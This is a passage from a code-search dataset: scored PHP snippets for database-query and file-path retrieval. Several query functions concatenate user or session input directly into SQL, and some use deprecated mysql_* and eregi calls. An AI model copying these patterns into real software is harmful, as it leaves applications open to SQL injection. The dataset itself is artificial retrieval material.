WHERE codigo =? AND contraseña=?;\");\n $consulta->bindParam(1, $codigo, PDO::PARAM_STR);\n $consulta->bindParam(2, $contraseña, PDO::PARAM_STR);\n $consulta->execute();\n $respuesta = $consulta->fetch();\n $AdministradorDTO->setNombre($respuesta[\"nombre\"]);\n $AdministradorDTO->setCorreo($respuesta[\"correo\"]);\n $AdministradorDTO->setTelefono($respuesta[\"telefono\"]);\n $AdministradorDTO->setCargo($respuesta[\"cargo\"]);\n $filas = $consulta->rowCount();\n if ($filas > 0) {\n $exito = true;\n }\n } catch (Exception $ex) {\n throw new Exception(\"Ocurrio un error\" . $ex->getTraceAsString());\n }\n return $exito;\n }", "title": "" }, { "docid": "234fd2a3e2b8131f24d07c43ddfb1cff", "score": "0.546084", "text": "public function save( $sql , $var = array())\n{\n // verificamos si status no esta vacia\n if (is_null($var))\n {\n $this->consulta = pg_query($sql )or die('Fatal Error: ' . pg_last_error());//errores de sintaxis\n //self::verificador($this->consulta); \n if($this->consulta){return true;}else{return false;}\n }\n else\n { \n $sQ = \"SELECT * FROM $var[0] WHERE $var[1] = '$var[2]' LIMIT 1\";\n $sq = explode(',',$sQ);\n $sql2 = implode($sq);\n $consulta = pg_query($sql2)or die('Fatal Error: ' . pg_last_error());\n\n if(pg_num_rows($consulta ) > 0)\n { \n return null; //si el nombre esta registrado\n }\n else{\n\n $this->consulta = pg_query($sql)or die('Fatal Error: ' . pg_last_error());\n // or die(mysql_error());//errores de sintaxis\n if($this->consulta){return true;}else{return false;}//si se registro corectamente \n \n }\n }//llave de else\n}", "title": "" }, { "docid": "d9d22fdb8be42f655ab01ac5e7b16a70", "score": "0.54592216", "text": "function buscarUsuario($valor,$opcion){\n try {\n //Conección y ejecución del query\n $sql = \"SELECT * FROM users WHERE $opcion='$valor'\";\n $con=connect();\n $resultado=mysqli_query($con,$sql);\n $con=null;\n return $resultado;\n } catch (Exception $e) {\n die(e->getMessage());\n }\n}", "title": "" }, { "docid": "f935a43cdb527781cfb9916ca3aa4edf", "score": "0.545803", "text": "function query($sql, &$result, &$nr)\n {\n global $app;\n\t\t$result = $app[db][query]($app[db][connection],$sql);\n\t\tif (eregi(\"select\", $sql)):\n \t $nr = $app[db][num_rows]($result);\n \tendif;\n\t\tif(@$app[db][error]($result)){\n\t\t\tif ($app[debug]):\n\t\t\t\t$err[] = \"SQL : $sql\";\n\t\t\t\t$err[] = \"ERROR : \" . @$app[db][error]($result);\n\t\t\t\t//app::debug($err);\n\t\t\t\texit;\n\t\t\tendif;\n\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "855b05289e0845c580a1591da41c2bd1", "score": "0.5457944", "text": "function OraSelect($sql){\n\t\tif ($sql==\"\")\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\n\t\t// vérify connexion MiddleCare\n\t\tif (!isset($this->ConnMiddleCare))\n\t\t{\n\t\t\techo \"<br>MiddleCare::Erreur connexion Oracle !!!\";\n\t\t\techo \t$this->Err[count($this->Err)-1];\n\t\t\treturn false;\n\t\t}\n\t\t// executte qry\n\t\t$result = oci_parse($this->ConnMiddleCare, $sql);\n\t\t\n\t\t// vérify les resulat d'exec\n\t\tif (!$result){\n \t\t$oerr = oci_error($result);\n \t\techo \"<br>MiddleCare::SQL Fetch Erreur :\".$oerr[\"message\"];\n \t\treturn false;\n\t\t}\n\t\t\n\t\tif (oci_execute($result)){\n\t\t\t$row=0;\t\n\t\t\t$data=array();\n\t\t\twhile(oci_fetch($result))\n\t\t\t{\n\t\t\t\t$ncols = oci_num_fields($result);\n\t\t\t\t$c_line=array();\n\t\t\t\tfor ($i = 1; $i <= $ncols; $i++) \n\t\t\t\t{\n\t\t\t\t\t$column_name = oci_field_name ($result, $i);\n\t\t $column_value = oci_result($result, $i);\n\t \t$c_line[$column_name]=$column_value;\n\t \t\t}\n\t\t\t\t$data[$row]=$c_line;\n\t\t\t\t$row++;\n\t\t\t}\n\t\t\n\n\t\t\treturn $data;\t\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"<br>MiddleCare::Erreur Executing qry :\".$sql;\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "0716119a7d3b961d0b5a8d664eccff14", "score": "0.5457117", "text": "function exeSQL ($statement) {\n \n $result= mysql_query($statement,$this->link);\n if($result > 0){\n $num_rows = @mysql_numrows($result); \n return array($result, $num_rows);\n }else\n throw new Exception(mysql_error());\n\n\n }", "title": "" }, { "docid": "2c32e0a5dc98770e820c1e0631cf86c2", "score": "0.54525673", "text": "function prepararConsulta() {\n\t\t$campos = \"select id_usuario from usuarios where id_usuario is not null and activo=1 \";\n\t\tif($this->usuario != \"\") {\n\t\t\t$condiciones .= \"and usuario like '%\".$this->usuario.\"%'\";\n\t\t}\n\t\tif($this->email != \"\") {\n\t\t\t$condiciones .= \"and email like '%\".$this->email.\"%'\";\n\t\t}\n\t\tif($this->id_tipo != \"\") {\n\t\t\t$condiciones .= \"and id_tipo=\".$this->id_tipo;\n\t\t}\n\t\tif($this->fecha_desde != \"\") {\n\t\t\t$condiciones .= \" and usuarios.fecha_creacion >= '\".$this->fecha_desde.\"' \";\n\t\t}\n\t\tif($this->fecha_hasta != \"\"){\n\t\t\t$condiciones .= \" and usuarios.fecha_creacion <= '\".$this->fecha_hasta.\"' \";\t\n\t\t}\n\t\tif($this->id_almacen != \"\"){\n\t\t\t$condiciones .= \" and usuarios.id_almacen=\".$this->id_almacen;\n\t\t}\n\n\t\t$ordenado = \" order by usuarios.usuario \"; \n\t\t$this->consultaSql = $campos.$condiciones.$ordenado;\n\t}", "title": "" }, { "docid": "9c86e8a5d1a6e4f1adf09070cb0bf0ad", "score": "0.5448045", "text": "private function sendEmpresa() {\n $this->_session = Zend_Session::namespaceGet(SESSION_RECRUTADOR);\n $db = $this->getConnection();\n $db->defineSqlDistinct();\n $db->defineSqlSelect('twve.cod_vaga_empresa');\n $db->defineSqlSelect('twve.nom_fantasia_empresa');\n//$db->defineSqlSelect('twc.nom_cargo');\n $db->defineSqlFrom('tab_web_vaga_empresa AS twve', 'sistema');\n $db->defineSqlJoinUsing('tab_web_recrutador_empresa_rel AS twrer', 'twrer.cod_vaga_empresa = twve.cod_vaga_empresa', 'LEFTJOIN', 'sistema');\n $db->defineSqlJoinUsing('tab_web_recrutador_empresa AS twre', 'twre.cod_pessoa = twrer.cod_pessoa_recrutador', 'LEFTJOIN', 'sistema');\n $db->defineSqlJoinUsing('tab_web_vaga_empresa_rel AS twver', 'twver.cod_vaga_empresa = twve.cod_vaga_empresa', 'INNERJOIN', 'sistema');\n $db->defineSqlJoinUsing('tab_web_vaga AS twv', 'twv.cod_vaga = twver.cod_vaga', 'INNERJOIN', 'sistema');\n $db->defineSqlJoinUsing('tab_web_cargo AS twc', 'twc.cod_cargo = twv.cod_cargo', 'INNERJOIN', 'sistema');\n $db->defineSqlWhere(\"twve.cod_pessoa_juridica = '{$this->_session['idPessoaJuridica']}'\");\n $db->defineSqlWhere(\"twve.ind_status IN ('A','N')\");\n if (isset($this->_session['tipoUsuario']) and $this->_session['tipoUsuario'] == 'CRI') {\n $db->defineSqlWhere(\"twre.cod_pessoa = '{$this->_session['idRecrutador']}'\");\n }\n $db->defineSqlOrderBy(\"twve.nom_fantasia_empresa ASC\");\n $db->setDebug(false);\n $rsEmpresa = $db->executeSelectQuery();\n $this->view->assign('rsEmpresa', $rsEmpresa);\n }", "title": "" }, { "docid": "34d3d80ad24ae7939968e37e3d03f711", "score": "0.54436433", "text": "function obtenerAlertasSinLeer()\n{\n if (isset($_POST['accion']) && $_POST['accion'] === 'alertasSinLeer') {\n if (gestionarSesionyRol(0) == 1) {\n\n //creamos la consulta que nos devolvera si el usuario tiene alguna solicitud sin leer.\n\n $consulta = \"SELECT * FROM Alertas WHERE fk_correo_receptor ='\" . $_SESSION['correo'] . \"' AND estado = 0 AND tipo = 'Alerta'\";\n\n\n $conector = new ConectorBD();\n\n $resultado = $conector->consultarBD($consulta)->fetchAll(PDO::FETCH_ASSOC);\n\n if (count($resultado) > 0) {\n echo json_encode($resultado);\n } else {\n echo 0;\n }\n }\n }\n}", "title": "" }, { "docid": "54c8c463284b15f0e4f45e8310a0dd3d", "score": "0.5440515", "text": "function select ($requete){\r\n\t\t$message=\"\";\r\n\t\ttry{\r\n\t\t\t$resultats=$this->connexion->query($requete);\r\n\t\t\t$tab=$resultats->fetchALL(PDO::FETCH_ASSOC); // on dit qu'on veut que le résultat soit récupérable sous forme de tableau)\r\n\t\t}\r\n\t\tcatch(PDOException $e){\r\n\t\t\t$message=\"probleme pour executer cette requete $requete : \";\r\n\t\t\t$message=$message.$e->getMessage();\r\n\t\t\techo $message;\r\n\t\t}\r\n\t\t\r\n\t\treturn $tab;\r\n\t}", "title": "" }, { "docid": "db77c38e83ba0a4cbc27cd8e84b83cd6", "score": "0.54322284", "text": "public function selectDistiAcademy(){\n\t$sql = \"\";\n\t$this->ejecutar($sql);\n}", "title": "" }, { "docid": "f0f2382c40d936c1f0fed5c30b70b406", "score": "0.54293305", "text": "protected function runSelect()\n {\n return $this->connection->select($this->toSql(), $this->getBindings());\n }", "title": "" }, { "docid": "98c828fb22239389254b5ecb320508db", "score": "0.5426104", "text": "public function consultarBeneficioLogueados($month, $year){\n $strSql = \"SELECT *, COUNT(b.accion) as total, u.id_usuario as idu\n FROM usuario u\n INNER JOIN bitacora b \n ON u.id_usuario = b.id_usuario_sistema \n WHERE u.tipo_rol = '4'\n AND b.accion ='Login success' \n AND month(b.fecha)='$month' \n AND year(b.fecha)='$year'\";\n $respuestaArreglo = '';\n\n\n try {\n\n $strExec = BD::prepare($strSql);\n $strExec->execute();\n $respuestaArreglo = $strExec->fetchAll(PDO::FETCH_ASSOC); //retorna\n $strExec->execute(); \n \n\n } catch (PDOException $e) { //si hay un error en la instruccion sql entramos en el catch\n $errorReturn = ['estatus' => \"false\"];\n $errorReturn += ['info' => \"error sql:{$e}\"];\n return $errorReturn; ; //retornamos el contenido de esa variable\n }// fin del catch\n return $respuestaArreglo;\n }", "title": "" }, { "docid": "67f9f279a91593539ab2161d0b54dda5", "score": "0.54247475", "text": "function obtenerSolicitudesSinLeer()\n{\n if (isset($_POST['accion']) && $_POST['accion'] === 'solicitudesSinLeer') {\n if (gestionarSesionyRol(0) == 1) {\n\n //creamos la consulta que nos devolvera si el usuario tiene alguna solicitud sin leer.\n\n $consulta = \"SELECT * FROM Alertas WHERE fk_correo_receptor ='\" . $_SESSION['correo'] . \"' AND estado = 0 AND tipo = 'Solicitud'\";\n\n\n $conector = new ConectorBD();\n\n $resultado = $conector->consultarBD($consulta)->fetchAll(PDO::FETCH_ASSOC);\n\n if (count($resultado) > 0) {\n echo json_encode($resultado);\n } else {\n echo 0;\n }\n }\n }\n}", "title": "" } ]
a33b9f2578d6c3fe816e21f50dec0b73
Return a string path to thread.
[ { "docid": "450a09eab507840a7eaf1921533606c3", "score": "0.72495013", "text": "public function path()\n {\n return \"/threads/{$this->category->slug}/{$this->id}\";\n }", "title": "" } ]
[ { "docid": "ffcc91ba81db62b14224cdb023e9684c", "score": "0.75287807", "text": "public function path()\n {\n return \"/threads/{$this->channel->slug}/{$this->slug}\";\n }", "title": "" }, { "docid": "73fdcda06c057904f83c788c6c9edd4f", "score": "0.71225226", "text": "public function path()\n {\n return $this->thread->path() . \"#reply-{$this->id}\";\n }", "title": "" }, { "docid": "18a9023069cc2df0767a76d6f5677178", "score": "0.6840646", "text": "function getThreadURI() {\n\t\t\t\n\t\t\t$FIRST_PAGE = 1;\n\t\t\t$SLASH = '/';\n\t\t\t//Get the last page, unless display_object isn't valid,\n\t\t\t//in which case we just get the first page\n\t\t\t$pages = empty( $this->display_object )\n\t\t\t\t? $FIRST_PAGE\n\t\t\t\t: $this->display_object ->get_page_count()\n\t\t\t\t;\n\t\t\t$pid = $GLOBALS['TSFE']->id;\n\t\t\t\n\t\t\t$params = array(\n\t\t\t\t\"view\" => \"single_thread\"\n\t\t\t\t,\"cat_uid\" => $this->cat_uid\n\t\t\t\t,\"conf_uid\" => $this->conf_uid\n\t\t\t\t,\"thread_uid\" => $this->thread_uid\n\t\t\t\t,\"page\" => $pages\n\t\t\t\t);\n\t\t\t\n\t\t\t$uri = $SLASH . htmlspecialchars($this->cObj->getTypoLink_URL($pid,$params)); // run it through special chars for XHTML compliancy\n\t\t\t\n\t\t\tif (false) {\n\t\t\t\techo \"submit() \\n\";\n\t\t\t\techo \"cat_uid $this->cat_uid \\n\";\n\t\t\t\techo \"conf_uid $this->conf_uid \\n\";\n\t\t\t\techo \"thread_uid $this->thread_uid \\n\";\n\t\t\t\techo \"pages $pages \\n\";\n\t\t\t\techo \"pid: $pid \\n\";\n\t\t\t\techo \"URL: $uri \\n\";\n\t\t\t\t//exit();\n\t\t\t}\n\t\t\treturn $uri;\n\t\t}", "title": "" }, { "docid": "7818112e3ee5c66533b3cf1b33b5e2a6", "score": "0.6391797", "text": "protected function mutexPath() {\n return storage_path('framework/schedule-' . sha1($this->description));\n }", "title": "" }, { "docid": "31cd2cc1f9edcea55fb27da34317c671", "score": "0.62733173", "text": "public function path()\n {\n return \"/project/{$this->project->id}/task/{$this->id}\";\n }", "title": "" }, { "docid": "5dc4978419c188d604d872918740cd14", "score": "0.61014223", "text": "public function aThreadCanMakeAStringPath()\n {\n $this->assertEquals(\"/threads/{$this->thread->channel->slug}/{$this->thread->id}\", $this->thread->path());\n }", "title": "" }, { "docid": "52b1235c9fb4064b35aedc08c1d63fcd", "score": "0.59649444", "text": "public function threadURL($thread)\n {\n return $this->uri.'s'.$thread->threadid.'-'.preg_replace('/[^A-Za-z0-9]/', '_',$this->words->fTrad($thread->IdTitle) ) ;\n }", "title": "" }, { "docid": "2488844be54d11eb9e3dbdc33ad09ea1", "score": "0.58948606", "text": "public function getPath(): string\n {\n return sprintf(\n '%s_%s_%s/%s/%s',\n $this->width,\n $this->height,\n $this->mode,\n substr($this->name, 0, 2),\n substr($this->name, 2)\n );\n }", "title": "" }, { "docid": "b5948d7ced967b0dfc7108190eaacafb", "score": "0.5884574", "text": "public static function getPath(): string\n {\n return static::getScriptName() . static::getPathInfo();\n }", "title": "" }, { "docid": "769b719a136067821248d5b32d834301", "score": "0.5862359", "text": "public function aThreadHasAPath()\n {\n $thread = create(Thread::class);\n\n $this->assertEquals(\n \"/threads/{$thread->channel->slug}/{$thread->slug}\",\n $thread->path()\n );\n }", "title": "" }, { "docid": "c9ff641f108b6e8f0755f89031f7111a", "score": "0.5855796", "text": "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}", "title": "" }, { "docid": "dcd0803b304948ba56327dd10accd6ce", "score": "0.5838154", "text": "public function getThreadId()\n {\n\n }", "title": "" }, { "docid": "a4cecbe0dfa858410f8a6ef9df4873f5", "score": "0.58225197", "text": "public static function getPath()\n {\n $reflector = new \\ReflectionClass(get_called_class());\n return dirname($reflector->getFileName());\n }", "title": "" }, { "docid": "fc54c2cfb059d05b85135ee228811b4c", "score": "0.5751228", "text": "function GetThread(){}", "title": "" }, { "docid": "f1aca32ec0359afb0137cbb6c69edafc", "score": "0.5726223", "text": "function getRunningJobName() {\n\t$tmp = pathinfo(realpath($_SERVER['argv'][0]));\n\treturn $tmp['filename'];\n}", "title": "" }, { "docid": "70ccd246fa027e17168a4f5daa934bda", "score": "0.5718544", "text": "public static function getCurrentThreadId()\n {\n\n }", "title": "" }, { "docid": "bcbb94e62d889f763187a5dcbde52906", "score": "0.5715906", "text": "public function getWorkPath()\n {\n return $this->workPath;\n }", "title": "" }, { "docid": "769cdfb3a46429aa9e7e3f986d558642", "score": "0.5712389", "text": "function getFilename()\n {\n return __FILE__;\n }", "title": "" }, { "docid": "41f802dab17ea71dae5201cedb4dec2d", "score": "0.5706903", "text": "public function path()\n {\n return \"{$this->dir()}/{$this->filename}\";\n }", "title": "" }, { "docid": "c543df3adabefba096d2ffd4992ba500", "score": "0.5694516", "text": "public function getPath(): string\n {\n return realpath($this->pathName);\n }", "title": "" }, { "docid": "1b51ea24b63144b5cc20b9bc44b67bf8", "score": "0.56865245", "text": "public function getThreadId($link) {\nif(!empty($link)) {\n$id = explode('/', $link);\nreturn $id[1];\n}\n}", "title": "" }, { "docid": "b95c5a25e3b8180450fb716e1fcd97c5", "score": "0.5665142", "text": "function GetForumPath($id){\r\n $file=$GLOBALS[\"PHORUM\"][\"settings_dir\"].\"/$id.php\";\r\n $path=\"\";\r\n While(file_exists($file)){\r\n include $file;\r\n $path = (empty($path)) ? $PHORUM[\"ForumName\"] : \"$PHORUM[ForumName] : $path\";\r\n $file=$GLOBALS[\"PHORUM\"][\"settings_dir\"].\"/$PHORUM[ForumParent].php\";\r\n }\r\n\r\n return $path;\r\n }", "title": "" }, { "docid": "fc4b7df59726cc0850a4edf7d15834d7", "score": "0.56555486", "text": "protected function getFilePath()\n {\n $dateFormatted = $this->dateBuilder->buildFromTime();\n $path = rtrim($this->path, '/');\n\n return \"{$path}/{$dateFormatted}.log\";\n }", "title": "" }, { "docid": "61006369cbd8743a4d7517f909411a19", "score": "0.5618368", "text": "public function getFilename()\n {\n return __FILE__;\n }", "title": "" }, { "docid": "14721e23a8fa091d61977ac54eaee286", "score": "0.56047916", "text": "private function lockFileStr()\n {\n return $this->tmpDir() . \"lock\"; \n }", "title": "" }, { "docid": "599361fa23046bc3560933300c6a6091", "score": "0.5597415", "text": "public function getPathname(): string\n {\n return $this->file;\n }", "title": "" }, { "docid": "686238f63408307b950c0d6f1078ef26", "score": "0.55941826", "text": "public function getRequestedPath()\n {\n\n /*\n * Terminal\n */\n if ($this->runningFromCli())\n {\n\n if (isset($_SERVER['argv'][1]))\n {\n $result = trim($_SERVER['argv'][1], '/');\n }\n\n else\n {\n $result = '';\n }\n\n }\n\n /*\n * Apache with .htaccess\n */\n else if (isset($_GET['_bourbon_path']))\n {\n $result = $_GET['_bourbon_path'];\n }\n\n /*\n * Generic server without .htaccess\n */\n else\n {\n $result = ltrim(mb_substr($_SERVER['PHP_SELF'], mb_strlen($_SERVER['SCRIPT_NAME'])), '/');\n }\n\n if (!trim($result, '/'))\n {\n $result = '/';\n }\n\n return $result;\n\n }", "title": "" }, { "docid": "13d220626f624d8ee15eaf069cd3f60f", "score": "0.5584545", "text": "public function get_path() {\n\t\t$result = $this->root.'/'.static::$separator.static::$suffix;\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "0397001b38479ff8c23db3b2b4e3db0d", "score": "0.55541563", "text": "public function get_path()\n\t{\n\t\t$name = strtolower($this->get_name());\n\t\treturn $this->get_base_dir() . '/' . $name . '.php';\n\t}", "title": "" }, { "docid": "a0e97db1be3b793a0a3780c8f9404864", "score": "0.5549464", "text": "public function getThreadIoId();", "title": "" }, { "docid": "8c259cb6638efb772387ec0205d5cdcc", "score": "0.5539069", "text": "public function getPath()\n\t\t{\n\t\t\t$path = Flexi::getRootURI();\n\t\t\t\n\t\t\tif ( $this->controller !== null ) {\n\t\t\t\t$path .= $this->controller;\n\t\t\t\t\n\t\t\t\tif ( $this->method !== null ) {\n\t\t\t\t\t$path .= '/' . $this->method;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn $path;\n\t\t}", "title": "" }, { "docid": "281acdd2bf7248be633a4c920f17639a", "score": "0.5532942", "text": "public function getPath()\n\t{\n\t\treturn $this->working_path;\n\t}", "title": "" }, { "docid": "b82e5cbeb159606d05e353f676ddb1d7", "score": "0.5519962", "text": "public function getPath() {\n\t\treturn $this->dir . '/' . $this->name . '.' . $this->type;\n\t}", "title": "" }, { "docid": "28fde08a9ea9ff4f806c15b8cfa7a279", "score": "0.551128", "text": "public static function getTestSuitePath()\n {\n return (new ReflectionClass(static::$suite))->getFileName();\n }", "title": "" }, { "docid": "a4a721187db298ffe08949cacde1e34e", "score": "0.550327", "text": "public static function getCurrentThread()\n {\n\n }", "title": "" }, { "docid": "50fc29d174dddeea399164fa861d2c36", "score": "0.54993206", "text": "function Step()\n {\n return Path::FilenameNoExtension($this->ClassFile());\n }", "title": "" }, { "docid": "39555614dc19fc92a8bf1cdc8dea7366", "score": "0.5483515", "text": "public function getFullPath(): string\n {\n return $this->location;\n }", "title": "" }, { "docid": "7e2c399b571a46661d49ebad32fd6c3f", "score": "0.547983", "text": "public function getPathname()\n {\n return $this->getPath();\n }", "title": "" }, { "docid": "cbc7d197480363deb0dc6eea8c366184", "score": "0.54773915", "text": "public static function getInstanceName(){\n\t\tif(self::$_instanceName===null){\n\t\t\treturn join(array_slice(explode('/' ,dirname($_SERVER['PHP_SELF'])),1,-1),'/');\n\t\t} else {\n\t\t\treturn self::$_instanceName;\n\t\t}\n\t}", "title": "" }, { "docid": "28376814425cef9ecd74a2ff10842e9f", "score": "0.54701316", "text": "public static function Path()\n {\n return str_replace('/', '.', self :: Get(0));\n }", "title": "" }, { "docid": "22b116559bd5feb4d22a0d9158a90074", "score": "0.5470019", "text": "function getPostFileFullPath()\n\t{\t\t\n\t\tif($this->id && $this->post_file)\n\t\t{\n\t\t\t$path = $this->initStorage($this->id, \"post\");\t\t\t\n\t\t\treturn $path.$this->post_file;\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "d7b9fc3be4f660aeba822ec5633376f4", "score": "0.5467999", "text": "public function getParentPath(): string\n {\n return dirname($this->pathName);\n }", "title": "" }, { "docid": "adc4f4f378935025366e03c9ee6d139a", "score": "0.54578906", "text": "public function path(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "7228fa606c47d0b6278a2c334fb6171b", "score": "0.5451433", "text": "public function getPath()\n {\n return $this->path !== null ? $this->path . '/' : '';\n }", "title": "" }, { "docid": "335c3a9623c8bdc231ebb0f9694f43ff", "score": "0.5416219", "text": "public function getRealPath(): string\n {\n return $this->pathName;\n }", "title": "" }, { "docid": "94e1e599d722e3ba9aacaf89f08324b0", "score": "0.5403336", "text": "protected function getFilePath()\n\t{\n\t\tif (empty($this->config_file)) {\n\t\t\t\\WP_CLI::error(\"A configuration file for this action has not been set.\");\n\t\t}\n\n\t\treturn $this->config_dir . \"/\" . $this->config_file;\n\t}", "title": "" }, { "docid": "9e96f6c4830dc745fba97b9a77e8f5ec", "score": "0.5395498", "text": "public function path(): string\n {\n return $this->folder() . '/' . $this->hash() . '/index.' . $this->type;\n }", "title": "" }, { "docid": "58cf245f1def0664b3ac068f1e0e026b", "score": "0.5389364", "text": "public function getPath(): string\n {\n return realpath('.') . '/' . self::IMAGE_PATH . $this->getFilename();\n }", "title": "" }, { "docid": "172933c45050a262b0bdd5dd82798d5c", "score": "0.5383714", "text": "public static function getClass() {\n\t\treturn basename(str_replace('\\\\','/',get_called_class()));\n\t}", "title": "" }, { "docid": "9e7dc57f3cc1c57241fc758a948991aa", "score": "0.5372476", "text": "static function action_self() {\n\t\t$t_self = trim( str_replace( \"\\0\", '', $_SERVER['SCRIPT_NAME'] ) );\n\t\treturn basename( $t_self );\n\t}", "title": "" }, { "docid": "e4a7242c8ac6dc8a014f21f92959f566", "score": "0.53575563", "text": "public static function get_path() {\n\n\t\treturn static::$path;\n\t}", "title": "" }, { "docid": "65a237eae44e6c0f71d3564c5b10599b", "score": "0.5352585", "text": "public function getPlatform(): string\n {\n return substr($this->queueName, strrpos($this->queueName, '_') + 1);\n }", "title": "" }, { "docid": "94387eab105b5d748a4949d829ab3bed", "score": "0.5348717", "text": "public static function getInstancePath(){\n\t\t$instance = self::getInstanceName();\n\t\tif($instance){\n\t\t\treturn '/'.self::getInstanceName().'/';\n\t\t} else {\n\t\t\treturn '/';\n\t\t}\n\t}", "title": "" }, { "docid": "3e7e28c4bb3667fc09907a4aa2366114", "score": "0.53263474", "text": "protected function temp(): string\n {\n return \\dirname(__DIR__).'/tmp/'.$this->host.'__'.$this->port;\n }", "title": "" }, { "docid": "51c1ae903d5873bcb107696c45e6196f", "score": "0.5326306", "text": "private function get_cloning_task_name(): string {\n\t\t\treturn 'learndash_cloning_task_' . $this->get_cloning_object();\n\t\t}", "title": "" }, { "docid": "c4b79779c4339f9ca622ef2b9020928e", "score": "0.5323825", "text": "function getObjectContextPath() {\n return $this->getParent()->getObjectContextPath() . '/subtasks/' . $this->getId();\n }", "title": "" }, { "docid": "e1ce708b094e7f1dbd5213eac3eb3944", "score": "0.5322211", "text": "protected function getMainFilePath()\n\t{\n\t\treturn \"{$this->getRoot()}/{$this->getNameSpace()}.php\";\n\t}", "title": "" }, { "docid": "2b78239a471506a7813f1621de034791", "score": "0.53133065", "text": "public function getPath() {\n return $this->getScriptName() . $this->getPathInfo();\n }", "title": "" }, { "docid": "2dab211c1053c31d43b89cdd5869df56", "score": "0.53094757", "text": "public function mutexName()\n {\n return 'Scheduler' . DIRECTORY_SEPARATOR . 'event-' . sha1($this->expression . $this->command);\n }", "title": "" }, { "docid": "53541eb7d04cb5a2486632812d4b2191", "score": "0.5309034", "text": "public function getExecutionPath ()\n {\n return self::$execution_path;\n\n }", "title": "" }, { "docid": "772aaf10767aed92cf0ac586a7c0a89c", "score": "0.5308281", "text": "public function getPath() : string\n\t{\n\t\treturn $this->path;\n\t}", "title": "" }, { "docid": "416c06d2c6a22a3a42b67789a1520458", "score": "0.53029436", "text": "public function getFullPath()\n {\n return $this->basePath . '/' . $this->relativePath;\n }", "title": "" }, { "docid": "513bc32eba23131aae9c48242afb23fa", "score": "0.5302502", "text": "public function getParentRealPath(): string\n {\n return dirname($this->pathName) . DIRECTORY_SEPARATOR;\n }", "title": "" }, { "docid": "5a60331932beae28cd4f585e76213357", "score": "0.5287837", "text": "private function obtain_thread() {\n return $this->database->get('threads', '*', array('id' => intval($_GET['id'])));\n }", "title": "" }, { "docid": "ea163fb21312311735d07f405e5d68b4", "score": "0.52856237", "text": "public function getCurrentPath() {\n $current_path = $this->requestStack->getCurrentRequest()->getRequestUri();\n return strtok($current_path, '?');\n }", "title": "" }, { "docid": "668660bfe36373aa70b722a1c0f21eb9", "score": "0.5284719", "text": "public function getPathname(): string;", "title": "" }, { "docid": "fc8505462b26ed8f9c4a694bfebb40a5", "score": "0.5273065", "text": "public function path()\n {\n return str_replace(\"?\" . $this->queryString(), \"\", $_SERVER['REQUEST_URI']);\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "f32e6121f8956f7c53e2f36dd75d1044", "score": "0.5273016", "text": "public function getPath(): string\n {\n return $this->path;\n }", "title": "" }, { "docid": "1f03004289293a11a5d795c5266ff107", "score": "0.52681196", "text": "public function GetPath()\n\t{\n\t\treturn $this->projectRoot . $this->project;\n\t}", "title": "" }, { "docid": "1f03004289293a11a5d795c5266ff107", "score": "0.52681196", "text": "public function GetPath()\n\t{\n\t\treturn $this->projectRoot . $this->project;\n\t}", "title": "" }, { "docid": "682f4e52da8666546487ee5dbcac515e", "score": "0.5267085", "text": "public function getPathname()\n {\n return $this->file->getPathname();\n }", "title": "" }, { "docid": "423f6a26939345b8be0295594c26bd0f", "score": "0.5259576", "text": "public final function pathName(): string\n\t{\n\t\t$uri = $this->uri();\n\n\t\treturn strstr($uri, '?', true) ?: $uri;\n\t}", "title": "" }, { "docid": "438fa1b84bf959eb7ea542df1a2d2a71", "score": "0.52576035", "text": "public function getPath()\n {\n return explode('?', $this->get('REQUEST_URI'), 2)[0];\n }", "title": "" }, { "docid": "2a7b32036a8108d8fb73f70e3a3e8dcc", "score": "0.52490425", "text": "protected function getUploadFolder(): string\n {\n /** @var Dispatcher $dispatcher */\n $dispatcher = GeneralUtility::makeInstance(Dispatcher::class);\n $arguments = [\n $this->defaultUploadFolder,\n ];\n $arguments = $dispatcher->dispatch(self::class, __METHOD__, $arguments);\n return $arguments[0];\n }", "title": "" }, { "docid": "dc2f47406b1cd29d14395a98ccae8f18", "score": "0.52453935", "text": "public function getPath()\n {\n return $this->getBasePath() . '/' . $this->getName() . '.php';\n }", "title": "" }, { "docid": "f0a235b8222e10f68303dfa60e99eb75", "score": "0.5237539", "text": "static public function currentPath() {\n // Figure out which path was called.\n $full_path = current_path();\n $endpoint_path = _dataone_get_variable(DATAONE_API_VERSION_1, DATAONE_VARIABLE_API_ENDPOINT);\n return substr($full_path, strlen($endpoint_path));\n }", "title": "" }, { "docid": "e878e91dd07b9d611274e64e1b0321bf", "score": "0.52372766", "text": "public static function getCurrentLogFileName()\n {\n return basename(self::$logFile);\n }", "title": "" }, { "docid": "6a58158a275ae63584719417f3707c3e", "score": "0.52348685", "text": "private function getMessagePath(): string\n {\n $file = $this->argument('file');\n\n return base_path($file);\n }", 